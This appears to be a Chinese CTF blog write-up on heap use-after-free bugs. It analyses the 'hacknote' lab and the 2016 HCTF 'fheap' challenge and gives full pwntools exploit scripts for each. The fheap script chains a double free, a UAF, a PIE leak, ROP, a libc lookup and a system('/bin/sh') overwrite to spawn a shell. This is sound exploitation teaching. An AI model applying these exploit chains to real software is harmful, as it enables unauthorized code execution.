heap uaf

漏洞场景:
释放内存后没有置NULL指针,而且引用时还没有验证,访问到被释放的内存.
释放内存后没有置NULL指针,当下次申请内存时又申请到这块内存,且下次访问时,堆内数据已经改变.常用于堆
里面有函数指针的情况,比如类的虚表

1.实例 lab 10 hacknote
题目分析
1.申请一个堆存放8字节的结构体,结构体第一项是函数指针,第二项是数据堆.申请大小可控
2.申请的结构体指针存放在一个全局数组中
3.删除时释放内存后没有置NULL
4.打印时调用函数指针打印第二项的数据堆,且只是用指针数组的内容不为NULL判断,因为没有置NULL,
所以可以引用释放后的内存

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa")#0
addnote(32, "ddaa")#1

delnote(0)
delnote(1)

addnote(8, p32(magic))

printnote(0)

r.interactive()

  1. 实例2016 HCTF fheap
    题目分析
    1.创建和删除2个功能,创建时分配固定大小结构体内存,第4个qword存放自定义的函数指针,如果输入
    字符串大小超过15字节,则第一个qword存放该字符串堆内存的地址,否则不分配内存,直接将字符串存放
    在结构体的前2个qword处.
    2.创建的结构体内存地址又是另一个结构体的成员,通过结构体数组存放,且第一个dword为是否已释放
    标识,第2个qword指向创建的结构体地址.删除时判断该结构体地址是否为0,而不是判断那个标识,调用
    函数指针将堆上结构体释放.没有对指针清0
    3.没有清0指针+判断逻辑错误导致double free和uaf双重漏洞

总结: 需要通过信息泄漏绕过pie,aslr,通过rop绕过nx,利用了fastbin attack,double free和uaf堆漏洞执行rop最终getshell.
exp:

#coding:utf-8
from pwn import *
from LibcSearcher import *
p = process('./pwn')
elf = ELF('./pwn')


def create(input_size, input_string):
    print p.recvuntil('3.quit\n')
    p.sendline('create ')
    print p.recvuntil('size:')
    p.sendline(str(input_size))
    print p.recvuntil('str:')
    p.sendline(input_string)
    return 

def delete(input_id):
    print p.recvuntil('3.quit\n')
    p.sendline('delete ')    
    print p.recvuntil('id:')
    p.sendline(str(input_id))
    print p.recvuntil('Are you sure?:')
    p.sendline('yes')
    return

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
#gdb.attach(p)
create(5, 'caf\x00')
create(5,'asd\x00')
delete(0)
delete(1)
delete(0)

payload = 'a'*8
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += '\x0b'#1 byte overwrite bypass pie,覆盖一字节去调用puts函数将该指令地址输出,通过偏移计算得到程序加载基址,绕过pie
create(len(payload),payload)
delete(1)
p.recvuntil('b'*7)
call_puts_addr = p.recvuntil('\n')[:-1]
call_puts_addr = u64(call_puts_addr.ljust(8,'\x00'))
print 'call_puts_addr: '+hex(call_puts_addr)
print 'imagebase: '+hex(call_puts_addr-0xd0b)
imagebase = call_puts_addr-0xd0b #调用puts函数指令偏移
puts_plt_addr = imagebase + puts_plt



delete(0)

#gdb.attach(p)
payload = 'a'*8
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += p64(0x00000000000011cc+imagebase)#0x00000000000011cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret, 让指令到栈里面指向rop指令

create(0x20,payload)

print p.recvuntil('3.quit\n')
p.sendline('delete ')    
print p.recvuntil('id:')
p.sendline(str(1))
print p.recvuntil('Are you sure?:')
payload2 = 'yes\x00aaaa'
payload2 += p64(0x00000000000011d3+imagebase)#0x00000000000011d3 : pop rdi ; ret
payload2 += p64(imagebase+puts_got)
payload2 += p64(puts_plt_addr)#将puts_got内容打印出来
payload2 += p64(0xBC9+imagebase)#ret to main,再次执行main函数
p.sendline(payload2)
puts_addr = p.recvuntil('\n')[:-1]
puts_addr = puts_addr.ljust(8,'\x00')
puts_addr = u64(puts_addr)
print 'puts_addr:'+hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
print 'libcbase: '+hex(libcbase)

system_func = libcbase+libc.dump('system')
print 'system addr: '+hex(system_func)


delete(0)

#gdb.attach(p)
payload = '/bin/sh;'
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += p64(system_func)#再次覆盖函数指针
create(0x20,payload)

delete(1)#触发system函数调用

p.interactive()

你可能感兴趣的:(heap uaf)